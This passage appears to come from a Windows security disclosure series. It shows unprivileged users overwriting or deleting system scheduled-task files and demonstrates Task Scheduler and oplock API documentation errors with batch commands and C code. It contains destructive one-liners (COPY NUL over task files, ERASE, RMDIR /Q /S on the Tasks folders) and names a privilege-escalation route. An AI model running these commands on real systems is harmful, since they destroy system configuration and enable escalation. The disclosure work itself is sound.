C:\Windows\System32\Tasks\Microsoft\Windows\Setup\PITRTask
C:\Windows\System32\Tasks\Microsoft\Windows\SharedPC\Account Cleanup
C:\Windows\System32\Tasks\Microsoft\Windows\Shell\CreateObjectTask
C:\Windows\System32\Tasks\Microsoft\Windows\Shell\FamilySafetyMonitor
C:\Windows\System32\Tasks\Microsoft\Windows\Shell\FamilySafetyRefreshTask
C:\Windows\System32\Tasks\Microsoft\Windows\Shell\IndexerAutomaticMaintenance
C:\Windows\System32\Tasks\Microsoft\Windows\Shell\ThemesSyncedImageDownload
C:\Windows\System32\Tasks\Microsoft\Windows\Shell\UpdateUserPictureTask
C:\Windows\System32\Tasks\Microsoft\Windows\Shell\UpdateUserPictureTaskContained
C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskLogon
C:\Windows\System32\Tasks\Microsoft\Windows\SpacePort\SpaceAgentTask
C:\Windows\System32\Tasks\Microsoft\Windows\SpacePort\SpaceAgentTask
C:\Windows\System32\Tasks\Microsoft\Windows\SpacePort\SpaceManagerTask
C:\Windows\System32\Tasks\Microsoft\Windows\SpacePort\SpaceManagerTask
C:\Windows\System32\Tasks\Microsoft\Windows\StateRepository\MaintenanceTasks
C:\Windows\System32\Tasks\Microsoft\Windows\Storage Tiers Management\Storage Tiers Management Initialization
C:\Windows\System32\Tasks\Microsoft\Windows\Storage Tiers Management\Storage Tiers Optimization
C:\Windows\System32\Tasks\Microsoft\Windows\Subscription\EnableLicenseAcquisition
C:\Windows\System32\Tasks\Microsoft\Windows\Subscription\EnableLicenseAcquisition
C:\Windows\System32\Tasks\Microsoft\Windows\Subscription\EnableLicenseAcquisition
C:\Windows\System32\Tasks\Microsoft\Windows\Subscription\LicenseAcquisition
C:\Windows\System32\Tasks\Microsoft\Windows\Subscription\LicenseAcquisition
C:\Windows\System32\Tasks\Microsoft\Windows\Subscription\LicenseAcquisition
C:\Windows\System32\Tasks\Microsoft\Windows\Sustainability\PowerGridForecastTask
C:\Windows\System32\Tasks\Microsoft\Windows\Sustainability\PowerGridForecastTask
C:\Windows\System32\Tasks\Microsoft\Windows\Sustainability\SustainabilityTelemetry
C:\Windows\System32\Tasks\Microsoft\Windows\Sysmain\HybridDriveCachePrepopulate
C:\Windows\System32\Tasks\Microsoft\Windows\Sysmain\HybridDriveCacheRebalance
C:\Windows\System32\Tasks\Microsoft\Windows\Sysmain\ResPriStaticDbSync
C:\Windows\System32\Tasks\Microsoft\Windows\Sysmain\WsSwapAssessmentTask
C:\Windows\System32\Tasks\Microsoft\Windows\SystemRestore\SR
C:\Windows\System32\Tasks\Microsoft\Windows\Task Manager\Interactive
C:\Windows\System32\Tasks\Microsoft\Windows\TextServicesFramework\MsCtfMonitor
C:\Windows\System32\Tasks\Microsoft\Windows\Time Synchronization\ForceSynchronizeTime
C:\Windows\System32\Tasks\Microsoft\Windows\Time Synchronization\ForceSynchronizeTime
C:\Windows\System32\Tasks\Microsoft\Windows\Time Synchronization\SynchronizeTime
C:\Windows\System32\Tasks\Microsoft\Windows\Time Zone\SynchronizeTimeZone
C:\Windows\System32\Tasks\Microsoft\Windows\UPnP\UPnPHostConfig
C:\Windows\System32\Tasks\Microsoft\Windows\USB\Usb-Notifications
C:\Windows\System32\Tasks\Microsoft\Windows\USB\Usb-Notifications
C:\Windows\System32\Tasks\Microsoft\Windows\USB\Usb-Notifications
C:\Windows\System32\Tasks\Microsoft\Windows\USB\Usb-Notifications
C:\Windows\System32\Tasks\Microsoft\Windows\WCM\WiFiTask
C:\Windows\System32\Tasks\Microsoft\Windows\WDI\ResolutionHost
C:\Windows\System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance
C:\Windows\System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cleanup
C:\Windows\System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan
C:\Windows\System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Verification
C:\Windows\System32\Tasks\Microsoft\Windows\Windows Error Reporting\QueueReporting
C:\Windows\System32\Tasks\Microsoft\Windows\Windows Error Reporting\QueueReporting
C:\Windows\System32\Tasks\Microsoft\Windows\Windows Error Reporting\QueueReporting
C:\Windows\System32\Tasks\Microsoft\Windows\Windows Error Reporting\QueueReporting
C:\Windows\System32\Tasks\Microsoft\Windows\Windows Error Reporting\QueueReporting
C:\Windows\System32\Tasks\Microsoft\Windows\Windows Filtering Platform\BfeOnServiceStartTypeChange
C:\Windows\System32\Tasks\Microsoft\Windows\Windows Media Sharing\UpdateLibrary
C:\Windows\System32\Tasks\Microsoft\Windows\WindowsColorSystem\Calibration Loader
C:\Windows\System32\Tasks\Microsoft\Windows\WindowsColorSystem\Calibration Loader
C:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start
C:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start
C:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start
C:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start
C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask
C:\Windows\System32\Tasks\Microsoft\Windows\WlanSvc\CDSSync
C:\Windows\System32\Tasks\Microsoft\Windows\WlanSvc\MoProfileManagement
C:\Windows\System32\Tasks\Microsoft\Windows\WlanSvc\MoProfileManagement
C:\Windows\System32\Tasks\Microsoft\Windows\Work Folders\Work Folders Logon Synchronization
C:\Windows\System32\Tasks\Microsoft\Windows\Work Folders\Work Folders Maintenance Work
C:\Windows\System32\Tasks\Microsoft\Windows\Workplace Join\Automatic-Device-Join
C:\Windows\System32\Tasks\Microsoft\Windows\Workplace Join\Automatic-Device-Join
C:\Windows\System32\Tasks\Microsoft\Windows\Workplace Join\Device-Sync
C:\Windows\System32\Tasks\Microsoft\Windows\Workplace Join\Recovery-Check
C:\Windows\System32\Tasks\Microsoft\Windows\Workplace Join\Recovery-Check
C:\Windows\System32\Tasks\Microsoft\Windows\WwanSvc\NotificationTask
C:\Windows\System32\Tasks\Microsoft\Windows\WwanSvc\OobeDiscovery
C:\Windows\System32\Tasks\Microsoft\Windows\WwanSvc\OobeDiscovery
C:\Windows\System32\Tasks\Microsoft\Windows\WwanSvc\OobeDiscovery
C:\Windows\System32\Tasks\Microsoft\XblGameSave\XblGameSaveTask

(Optional) Overwrite the task definition files that your unprivileged user account can clobber and display their ~~access permissions~~ DACLs in SDDL notation:

FOR /F "Delims=," %? IN ('SCHTASKS.EXE /QUERY /FO CSV ^| FIND.EXE "\"') DO @(1>NUL: 2>NUL: COPY /Y NUL: "%SystemRoot%\System32\Tasks%~?" && CACLS.EXE "%SystemRoot%\System32\Tasks%~?" /S)

C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\MareBackup "D:(A;;FA;;;BA)(A;;FA;;;SY)(A;;FA;;;BU)(A;;0x1200a9;;;LS)(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FR;;;AU)(A;ID;FR;;;LS)(A;ID;FR;;;NS)(A;ID;FA;;;BA)"

C:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\UserTask-Roam "D:P(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x12019f;;;IU)"

C:\Windows\System32\Tasks\Microsoft\Windows\CertificateServicesClient\UserTask-Roam "D:P(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x12019f;;;IU)"

C:\Windows\System32\Tasks\Microsoft\Windows\File Classification Infrastructure\Property Definition Sync "D:(D;;SD;;;AU)(A;;0x1201bf;;;AU)(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FR;;;AU)(A;ID;FR;;;LS)(A;ID;FR;;;NS)(A;ID;FA;;;BA)"

C:\Windows\System32\Tasks\Microsoft\Windows\Input\InputSettingsRestoreDataAvailable "D:(A;;FA;;;AU)(A;;FA;;;BA)(A;;FA;;;SY)(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FR;;;AU)(A;ID;FR;;;LS)(A;ID;FR;;;NS)(A;ID;FA;;;BA)"

C:\Windows\System32\Tasks\Microsoft\Windows\Input\LocalUserSyncDataAvailable "D:(A;;FA;;;AU)(A;;FA;;;BA)(A;;FA;;;SY)(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FR;;;AU)(A;ID;FR;;;LS)(A;ID;FR;;;NS)(A;ID;FA;;;BA)"

C:\Windows\System32\Tasks\Microsoft\Windows\Input\MouseSyncDataAvailable "D:(A;;FA;;;AU)(A;;FA;;;BA)(A;;FA;;;SY)(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FR;;;AU)(A;ID;FR;;;LS)(A;ID;FR;;;NS)(A;ID;FA;;;BA)"

C:\Windows\System32\Tasks\Microsoft\Windows\Input\PenSyncDataAvailable "D:(A;;FA;;;AU)(A;;FA;;;BA)(A;;FA;;;SY)(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FR;;;AU)(A;ID;FR;;;LS)(A;ID;FR;;;NS)(A;ID;FA;;;BA)"

C:\Windows\System32\Tasks\Microsoft\Windows\Input\RemoteMouseSyncDataAvailable "D:(A;;FA;;;AU)(A;;FA;;;BA)(A;;FA;;;SY)(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FR;;;AU)(A;ID;FR;;;LS)(A;ID;FR;;;NS)(A;ID;FA;;;BA)"

C:\Windows\System32\Tasks\Microsoft\Windows\Input\RemotePenSyncDataAvailable "D:(A;;FA;;;AU)(A;;FA;;;BA)(A;;FA;;;SY)(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FR;;;AU)(A;ID;FR;;;LS)(A;ID;FR;;;NS)(A;ID;FA;;;BA)"

C:\Windows\System32\Tasks\Microsoft\Windows\Input\RemoteTouchpadSyncDataAvailable "D:(A;;FA;;;AU)(A;;FA;;;BA)(A;;FA;;;SY)(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FR;;;AU)(A;ID;FR;;;LS)(A;ID;FR;;;NS)(A;ID;FA;;;BA)"

C:\Windows\System32\Tasks\Microsoft\Windows\Input\syncpensettings "D:(A;;FA;;;AU)(A;;FA;;;BA)(A;;FA;;;SY)(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FR;;;AU)(A;ID;FR;;;LS)(A;ID;FR;;;NS)(A;ID;FA;;;BA)"

C:\Windows\System32\Tasks\Microsoft\Windows\Input\TouchpadSyncDataAvailable "D:(A;;FA;;;AU)(A;;FA;;;BA)(A;;FA;;;SY)(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FR;;;AU)(A;ID;FR;;;LS)(A;ID;FR;;;NS)(A;ID;FA;;;BA)"

C:\Windows\System32\Tasks\Microsoft\Windows\Printing\PrinterCleanupTask "D:P(A;;FA;;;AU)(A;;FA;;;SY)"

C:\Windows\System32\Tasks\Microsoft\Windows\Printing\PrintJobCleanupTask "D:P(A;;FA;;;AU)(A;;FA;;;SY)"

C:\Windows\System32\Tasks\Microsoft\Windows\WindowsColorSystem\Calibration Loader "D:(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x12019f;;;BU)(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FR;;;AU)(A;ID;FR;;;LS)(A;ID;FR;;;NS)(A;ID;FA;;;BA)"

C:\Windows\System32\Tasks\Microsoft\Windows\WindowsColorSystem\Calibration Loader "D:(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x12019f;;;BU)(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FR;;;AU)(A;ID;FR;;;LS)(A;ID;FR;;;NS)(A;ID;FA;;;BA)"

OUCH²: on this (typical) installation of Windows 11 25H2 unprivileged users can overwrite 15 task definition files shipped with the system – a malicious actor modifies these task files instead to escalate its privileges!

(Optional) Remove the task definition files that your (or any other) unprivileged user account can remove:

FOR /F "Delims=," %? IN ('SCHTASKS.EXE /QUERY /FO CSV ^| FIND.EXE "\"') DO @(1>NUL: 2>NUL: ERASE /F "%SystemRoot%\System32\Tasks%~?" && ECHO %SystemRoot%\System32\Tasks%~?)

C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\MareBackup
C:\Windows\System32\Tasks\Microsoft\Windows\Input\InputSettingsRestoreDataAvailable
C:\Windows\System32\Tasks\Microsoft\Windows\Input\LocalUserSyncDataAvailable
C:\Windows\System32\Tasks\Microsoft\Windows\Input\MouseSyncDataAvailable
C:\Windows\System32\Tasks\Microsoft\Windows\Input\PenSyncDataAvailable
C:\Windows\System32\Tasks\Microsoft\Windows\Input\RemoteMouseSyncDataAvailable
C:\Windows\System32\Tasks\Microsoft\Windows\Input\RemotePenSyncDataAvailable
C:\Windows\System32\Tasks\Microsoft\Windows\Input\RemoteTouchpadSyncDataAvailable
C:\Windows\System32\Tasks\Microsoft\Windows\Input\syncpensettings
C:\Windows\System32\Tasks\Microsoft\Windows\Input\TouchpadSyncDataAvailable
C:\Windows\System32\Tasks\Microsoft\Windows\Printing\PrinterCleanupTask
C:\Windows\System32\Tasks\Microsoft\Windows\Printing\PrintJobCleanupTask

OUCH³: on this (typical) installation of Windows 11 25H2 unprivileged users can delete 12 task definition files shipped with the system!

(Optional) Remove the subdirectories Microsoft with all their task definition files:
```
RMDIR /Q /S "%SystemRoot%\System32\Tasks\Microsoft"
RMDIR /Q /S "%SystemRoot%\SysWoW64\Tasks\Microsoft"
```
OUCH⁴: on all versions of Windows NT unprivileged users can delete all task definition files shipped with the system!

Whisper № 7

The developer documentation for the Schtasks.exe command line utility claims:

Enables an administrator to create, delete, query, change, run, and end scheduled tasks on a local or remote computer.

Demonstration

Perform the following 8 simple steps to prove the highlighted statement of the developer documentation cited above misleading and wrong!

Create the text file whisper.xml with the following content in an arbitrary, preferable empty directory:

<?xml version='1.0' standalone='yes' ?>
<Task version='1.2' xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
    <Actions>
        <Exec>
            <Arguments>/D /C TITLE Chinese Whispers &amp;&amp; SET /P =It's all Greek to me!</Arguments>
            <Command>%COMSPEC%</Command>
            <WorkingDirectory>%PUBLIC%</WorkingDirectory>
        </Exec>
    </Actions>
    <Triggers>
        <RegistrationTrigger />
    </Triggers>
</Task>

Start the Command Processor Cmd.exe in your (unprivileged) standard user account, then execute the following command line to create a scheduled task that starts upon its registration from the task definition created in step 1.:
```
SCHTASKS.EXE /CREATE /TN Whisper /XML whisper.xml
```
```
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

SUCCESS: The scheduled task "Whisper" has successfully been created.
```
OOPS: contrary to its documentation cited above, the command line utility Schtasks.exe lets unprivileged users create scheduled tasks!
Execute the following command lines to modify and delete the task Whisper registered and started in step 2.:
```
SCHTASKS.EXE /CHANGE /DISABLE /TN Whisper
SCHTASKS.EXE /DELETE /F /TN Whisper
```
```
SUCCESS: The parameters of scheduled task "Whisper" have been changed.
ERROR: Access denied
```
OUCH¹: Schtasks.exe lets unprivileged users modify but not delete their scheduled tasks!

Create the text file whisper.vbs with the following content in the same directory:

Rem Copyright © 2007-2026, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>

With WScript.CreateObject("Schedule.Service")
    .Connect()
    If .Connected Then
        WScript.Echo("Task Scheduler " & CLng(.HighestVersion) \ 65536 & "." & CLng(.HighestVersion) Mod 65536)
        On Error Resume Next
        .GetFolder("\").DeleteTask "Whisper", 0
        If Err.Number <> 0 Then WScript.Echo(vbNewLine & Err.Source & ": " & Err.Description)
    End If
End With

Execute the VBScript whisper.vbs created in step 4. to delete the scheduled task Whisper registered in step 2.:
```
CSCRIPT.EXE whisper.vbs
```
```
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.

Task Scheduler 1.3

Runtime error in Microsoft VBScript: Permission denied.
```
OUCH²: the COM object which provides the Task Scheduler API that Schtasks.exe and Windows Script Host use is the culprit!

Display the access permissions of the scheduled task’s file:

ICACLS.EXE "%SystemRoot%\System32\Tasks\Whisper" /Q

C:\Windows\System32\Tasks\Whisper AMNESIAC\Stefan:(R)
                                  BUILTIN\Administrators:(I)(R,W,D,WDAC,WO)
                                  NT AUTHORITY\SYSTEM:(I)(R,W,D,WDAC,WO)
                                  AMNESIAC\Stefan:(I)(F)

OUCH³: the Task Scheduler was most obviously implemented by some imbeciles – it fails to delete a file which grants FILE_ALL_ACCESS for its owner!

Overwrite the scheduled task’s file with an empty file and delete it afterwards via the WMI Command-Line Utility WMIC.exe:

COPY /Y NUL: "%SystemRoot%\System32\Tasks\Whisper"
WMIC.EXE /APPEND:"%SystemRoot%\System32\Tasks\Whisper"

        1 file(s) copied.

Finally verify that the scheduled task Whisper and its file are deleted:

SCHTASKS.EXE /CHANGE /ENABLE /TN Whisper
ICACLS.EXE "%SystemRoot%\System32\Tasks\Whisper" /Q

ERROR: The system cannot find the file specified.

C:\Windows\System32\Tasks\Whisper: The system cannot find the file specified.
Successfully processed 0 files; Failed processing 1 files

Create the text file whisper.c with the following content in the same directory:

// Copyright © 2004-2026, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>

#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN

#include <windows.h>

__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	HANDLE	hWhisper;
	WCHAR	szWhisper[MAX_PATH];
	DWORD	dwWhisper = GetSystemDirectory(szWhisper, sizeof(szWhisper) / sizeof(*szWhisper));
	DWORD	dwError = ERROR_SUCCESS;

	if (dwWhisper == 0UL)
		dwError = GetLastError();
	else
	{
		memcpy(szWhisper + dwWhisper, L"\\Tasks\\Whisper", sizeof(L"\\Tasks\\Whisper"));
#ifndef WHISPER
		if (!DeleteFile(szWhisper))
			dwError = GetLastError();
#else
		hWhisper = CreateFile(szWhisper,
		                      DELETE,
		                      FILE_SHARE_DELETE,
		                      (LPSECURITY_ATTRIBUTES) NULL,
		                      OPEN_EXISTING,
		                      FILE_FLAG_DELETE_ON_CLOSE,
		                      (HANDLE) NULL);

		if (hWhisper == INVALID_HANDLE_VALUE)
			dwError = GetLastError();
		else
			if (!CloseHandle(hWhisper))
				dwError = GetLastError();
#endif
	}

	ExitProcess(dwError);
}

Compile and link the source file whisper.c created in step 9. in the development environment that matches the architecture (32-bit or 64-bit) and processor of your system:

SET CL=/GAFy /Oiy /W4 /Zl
SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
CL.EXE whisper.c kernel32.lib

Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
Copyright (C) Microsoft Corporation.  All rights reserved.

whisper.c
whisper.c(12) : warning C4101: 'hWhisper' : unreferenced local variable

Microsoft (R) Incremental Linker Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.

/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
/out:whisper.exe
whisper.obj
kernel32.lib

Execute the console application whisper.exe built in step 10. and evaluate its exit code:
```
.\whisper.exe
ECHO %ERRORLEVEL%
```
```
0
```

Mitigation

The bug in Task Scheduler occurs with task names of less than 9 characters!

Whisper № 8

The documentation for the ForFiles.exe console application claims:

Selects and executes a command on a file or set of files. […]
Syntax
forfiles [/p <Path>] [/m <SearchMask>] [/s] [/c "<Command>"] [/d [{+|-}][{<Date>|<Days>}]]
Parameters

Parameter Description

/p <Path> Specifies the path from which to start the search. By default, searching starts in the current working directory.

/m <SearchMask> Searches files according to the specified search mask. The default search mask is *.*.

/s Instructs the forfiles command to search into subdirectories recursively.

/c "<Command>" Runs the specified command on each file. Command strings should be enclosed in quotation marks. The default command is "cmd /c echo @file".

/d [{+|-}][{<Date>|<Days>}] Selects files with a last modified date within the specified time frame. […]

Selects files with a last modified date later than or equal to (+) or earlier than or equal to (-) the specified date, where Date is in the format MM/DD/YYYY.

Selects files with a last modified date later than or equal to (+) the current date plus the number of days specified, or earlier than or equal to (-) the current date minus the number of days specified.

Valid values for Days include any number in the range 0–32,768. If no sign is specified, + is used by default.

/? Displays help at the command prompt.

Parameter	Description
/p <Path>	Specifies the path from which to start the search. By default, searching starts in the current working directory.
/m <SearchMask>	Searches files according to the specified search mask. The default search mask is *.*.
/s	Instructs the forfiles command to search into subdirectories recursively.
/c "<Command>"	Runs the specified command on each file. Command strings should be enclosed in quotation marks. The default command is "cmd /c echo @file".
/d [{+\|-}][{<Date>\|<Days>}]	Selects files with a last modified date within the specified time frame. […] Selects files with a last modified date later than or equal to (+) or earlier than or equal to (-) the specified date, where Date is in the format MM/DD/YYYY. Selects files with a last modified date later than or equal to (+) the current date plus the number of days specified, or earlier than or equal to (-) the current date minus the number of days specified. Valid values for Days include any number in the range 0–32,768. If no sign is specified, + is used by default.
/?	Displays help at the command prompt.

CAVEAT: this documentation but fails to tell that the command string <Command> is fed to the Win32 function CreateProcess() as its second parameter – arguments containing spaces must be quoted, quotation marks and backslashes must be escaped with a backslash, and the first argument is searched in the path.

Whisper № 9

The MSDN article Opportunistic Lock Operations specifies several FSCTL_* control codes:

If an application requests opportunistic locks, all files for which it requests locks must be opened for overlapped (asynchronous) input and output by using the CreateFile function with the FILE_FLAG_OVERLAPPED flag. After the files are opened for overlapped operation, you can use the DeviceIoControl function with one of the following control codes to work with those files' opportunistic locks:

FSCTL_OPLOCK_BREAK_NOTIFY

FSCTL_REQUEST_OPLOCK

The following control codes are for working with legacy oplock types:

FSCTL_OPBATCH_ACK_CLOSE_PENDING

FSCTL_OPLOCK_BREAK_ACK_NO_2

FSCTL_OPLOCK_BREAK_ACKNOWLEDGE

FSCTL_REQUEST_BATCH_OPLOCK

FSCTL_REQUEST_FILTER_OPLOCK

FSCTL_REQUEST_OPLOCK_LEVEL_1

FSCTL_REQUEST_OPLOCK_LEVEL_2

The documentation for the FSCTL_REQUEST_OPLOCK control code claims:

Requests an opportunistic lock (oplock) on a file and acknowledges that an oplock break has occurred.
To perform this operation, call the DeviceIoControl function using the following parameters.
BOOL DeviceIoControl(
  (HANDLE) hDevice,                 // handle to file
  FSCTL_REQUEST_OPLOCK,             // dwIoControlCode
  (LPVOID) lpInBuffer,              // pointer to REQUEST_OPLOCK_INPUT_BUFFER
  (DWORD) nInBufferSize,            // size of input buffer
  (LPVOID) lpOutBuffer,             // pointer to REQUEST_OPLOCK_OUTPUT_BUFFER
  (DWORD) nOutBufferSize,           // size of output buffer
  NULL,                             // number of bytes returned
  (LPOVERLAPPED) lpOverlapped       // OVERLAPPED structure
);
[…]
If the DeviceIoControl operation returns the error code ERROR_IO_PENDING, the oplock request has been granted. If it returns any other error code, the oplock has not been granted. […]

OUCH⁰: the highlighted parameters and the highlighted statement are only valid for asynchronous operation!

Note: for synchronous operation the address of the OVERLAPPED structure must be NULL and the address of a DWORD for the number of returned bytes must be given – upon successful return the requested opportunistic lock was granted and is about to break!

The documentation for the FSCTL_OPLOCK_BREAK_NOTIFY control code claims:

Enables the calling application to wait for completion of an opportunistic lock break.
[…]
To perform this operation, call the DeviceIoControl function using the following parameters.
BOOL DeviceIoControl(
  (HANDLE) hDevice,             // handle to file
  FSCTL_OPLOCK_BREAK_NOTIFY,    // dwIoControlCode
  NULL,                         // lpInBuffer
  0,                            // nInBufferSize
  NULL,                         // lpOutBuffer
  0,                            // nOutBufferSize
  (LPDWORD) lpBytesReturned,    // number of bytes returned
  (LPOVERLAPPED) lpOverlapped   // OVERLAPPED structure
);

OUCH¹: either lpBytesReturned or lpOverlapped need to be given – the former for synchronous operation, the latter for asynchronous operation!

The documentation for the DeviceIoControl() function claims:

Sends a control code directly to a specified device driver, causing the corresponding device to perform the corresponding operation.
[…]
BOOL DeviceIoControl(
  [in]                HANDLE       hDevice,
  [in]                DWORD        dwIoControlCode,
  [in, optional]      LPVOID       lpInBuffer,
  [in]                DWORD        nInBufferSize,
  [out, optional]     LPVOID       lpOutBuffer,
  [in]                DWORD        nOutBufferSize,
  [out, optional]     LPDWORD      lpBytesReturned,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);
[…]
For a list of the control codes, see Remarks. The documentation for each control code provides usage details for the lpInBuffer, nInBufferSize, lpOutBuffer, and nOutBufferSize parameters.
[…]
If lpOverlapped is NULL, lpBytesReturned cannot be NULL. Even when an operation returns no output data and lpOutBuffer is NULL, DeviceIoControl makes use of lpBytesReturned. After such an operation, the value of lpBytesReturned is meaningless.
If lpOverlapped is not NULL, lpBytesReturned can be NULL. If this parameter is not NULL and the operation returns data, lpBytesReturned is meaningless until the overlapped operation has completed. To retrieve the number of bytes returned, call GetOverlappedResult.
[…]
If hDevice was opened with the FILE_FLAG_OVERLAPPED flag, the operation is performed as an overlapped (asynchronous) operation. In this case, lpOverlapped must point to a valid OVERLAPPED structure that contains a handle to an event object. Otherwise, the function fails in unpredictable ways.
For overlapped operations, DeviceIoControl returns immediately, and the event object is signaled when the operation has been completed. Otherwise, the function does not return until the operation has been completed or an error occurs.

OUCH²: contrary to the first highlighted statement, the current documentation for the control codes of the opportunistic lock operations fails to provide usage details – about 12 years ago they but showed them!

Note: for FSCTL_* control codes except FSCTL_REQUEST_OPLOCK lpInBuffer and lpOutBuffer must be NULL, while nInBufferSize and nOutBufferSize must be 0.

OUCH³: contrary to the second highlighted statement, DeviceIoControl() operates synchronous if the lpOverlapped parameter is NULL, else asynchronous!

Demonstration

Perform the following 4 simple steps to falsify the highlighted statements of the documentation cited above.

Create the text file whisper.c with the following content in an arbitrary, preferable empty directory:

// Copyright © 2004-2026, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>

#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winioctl.h>

__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;

	va_list	vaInput;
	va_start(vaInput, lpFormat);

	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);

	va_end(vaInput);

	if (dwOutput == 0)
		return FALSE;

	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;

	return dwConsole == dwOutput;
}

__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szWhisper[MAX_PATH];
	DWORD	dwWhisper;
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hWhisper;
	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);

	if (hConsole == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		dwWhisper = GetModuleFileName((HMODULE) NULL,
		                              szWhisper,
		                              sizeof(szWhisper) / sizeof(*szWhisper));
		if (dwWhisper == 0)
			PrintConsole(hConsole,
			             L"GetModuleFileName() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			hWhisper = CreateFile(szWhisper,
			                      FILE_READ_DATA | SYNCHRONIZE,
			                      FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
			                      (LPSECURITY_ATTRIBUTES) NULL,
			                      OPEN_EXISTING,
			                      FILE_FLAG_OVERLAPPED,
			                      (HANDLE) NULL);

			if (hWhisper == INVALID_HANDLE_VALUE)
				PrintConsole(hConsole,
				             L"CreateFile() returned error %lu\n",
				             dwError = GetLastError());
			else
			{
				if (!DeviceIoControl(hWhisper,
				                     FSCTL_REQUEST_OPLOCK_LEVEL_1,
				                     NULL, 0,
				                     NULL, 0,
				                     &dwWhisper,
				                     (LPOVERLAPPED) NULL))
					PrintConsole(hConsole,
					             L"DeviceIoControl() returned error %lu\n",
					             dwError = GetLastError());
				else
				{
					PrintConsole(hConsole,
					             L"Level %c opportunistic lock on file \'%ls\' broken!\n",
					             L'1', szWhisper);
#ifdef WHISPER
					for (dwWhisper = 10; dwWhisper > 0; Sleep(1000))
						PrintConsole(hConsole,
						             L"%lu\r",
						             --dwWhisper);
#endif
					if (!DeviceIoControl(hWhisper,
					                     FSCTL_OPLOCK_BREAK_ACKNOWLEDGE,
					                     NULL, 0,
					                     NULL, 0,
					                     &dwWhisper,
					                     (LPOVERLAPPED) NULL))
						PrintConsole(hConsole,
						             L"DeviceIoControl() returned error %lu\n",
						             dwError = GetLastError());
					else
						PrintConsole(hConsole,
						             L"Level %c opportunistic lock on file \'%ls\' broken!\n",
						             L'2', szWhisper);
				}
			}

			if (!CloseHandle(hWhisper))
				PrintConsole(hConsole,
				             L"CloseHandle() returned error %lu\n",
				             dwError = GetLastError());
		}

		if (!CloseHandle(hConsole))
			PrintConsole(hConsole,
			             L"CloseHandle() returned error %lu\n",
			             dwError = GetLastError());
	}

	ExitProcess(dwError);
}

Compile and link the source file whisper.c created in step 1.:

SET CL=/GAFy /Oxy /W4 /Zl
SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
CL.EXE whisper.c kernel32.lib user32.lib

Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
Copyright (C) Microsoft Corporation.  All rights reserved.

whisper.c

Microsoft (R) Incremental Linker Version 10.00.40219.386
Copyright (C) Microsoft Corporation.  All rights reserved.

/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
/out:whisper.exe
whisper.obj
kernel32.lib
user32.lib

